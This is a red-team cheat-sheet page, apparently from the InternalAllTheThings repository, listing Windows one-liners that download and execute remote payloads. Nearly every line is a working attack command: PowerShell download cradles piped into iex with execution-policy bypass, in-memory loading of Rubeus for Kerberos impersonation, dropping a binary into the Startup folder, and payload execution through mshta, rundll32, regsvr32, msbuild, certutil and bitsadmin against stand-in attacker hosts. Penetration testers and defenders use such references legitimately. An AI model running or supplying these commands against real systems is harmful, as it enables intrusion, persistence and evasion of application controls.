windows-download-execute.md (3891B)
1 --- 2 title: "Windows - Download and execute methods" 3 section: "Red Team" 4 sectionSlug: "redteam" 5 sourcePath: "docs/redteam/access/windows-download-execute.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/redteam/access/windows-download-execute.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Windows - Download and execute methods 12 13 ## Downloaded files location 14 15 - C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\ 16 - C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir> 17 - C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV 18 19 ## Powershell 20 21 From an HTTP server 22 23 ```powershell 24 powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex" 25 26 # Download only 27 (New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1") 28 Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe" 29 30 # Download and run Rubeus, with arguments 31 $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/Rubeus.exe') 32 $assem = [System.Reflection.Assembly]::Load($data) 33 [Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split()) 34 35 # Execute a specific method from an assembly 36 $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll') 37 $assem = [System.Reflection.Assembly]::Load($data) 38 $class = $assem.GetType("ClassLibrary1.Class1") 39 $method = $class.GetMethod("runner") 40 $method.Invoke(0, $null) 41 ``` 42 43 From a Webdav server 44 45 ```powershell 46 powershell -exec bypass -f \\webdavserver\folder\payload.ps1 47 ``` 48 49 ## Cmd 50 51 ```powershell 52 cmd.exe /k < \\webdavserver\folder\batchfile.txt 53 ``` 54 55 ## Cscript / Wscript 56 57 ```powershell 58 cscript //E:jscript \\webdavserver\folder\payload.txt 59 ``` 60 61 ## Mshta 62 63 ```powershell 64 mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) 65 ``` 66 67 ```powershell 68 mshta http://webserver/payload.hta 69 ``` 70 71 ```powershell 72 mshta \\webdavserver\folder\payload.hta 73 ``` 74 75 ## Rundll32 76 77 ```powershell 78 rundll32 \\webdavserver\folder\payload.dll,entrypoint 79 ``` 80 81 ```powershell 82 rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); 83 ``` 84 85 ## Regasm / Regsvc @subTee 86 87 ```powershell 88 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll 89 ``` 90 91 ## Regsvr32 @subTee 92 93 ```powershell 94 regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll 95 ``` 96 97 ```powershell 98 regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll 99 ``` 100 101 ## Odbcconf 102 103 ```powershell 104 odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} 105 ``` 106 107 ## Msbuild 108 109 ```powershell 110 cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" 111 ``` 112 113 ## Certutil 114 115 ```powershell 116 certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll 117 ``` 118 119 ```powershell 120 certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe 121 ``` 122 123 ## Bitsadmin 124 125 ```powershell 126 bitsadmin /transfer mydownloadjob /download /priority normal http://<attackerIP>/xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe 127 ``` 128 129 ## References 130 131 - [arno0x0x - Windows oneliners to download remote payload and execute arbitrary code](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)